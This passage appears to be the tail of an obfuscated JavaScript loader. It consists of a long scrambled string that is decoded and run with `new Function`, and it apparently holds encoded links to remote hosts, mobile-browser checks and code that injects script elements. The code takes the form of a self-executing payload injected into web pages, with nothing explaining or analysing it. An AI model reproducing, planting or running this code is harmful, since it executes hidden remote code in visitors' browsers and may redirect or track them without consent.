qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();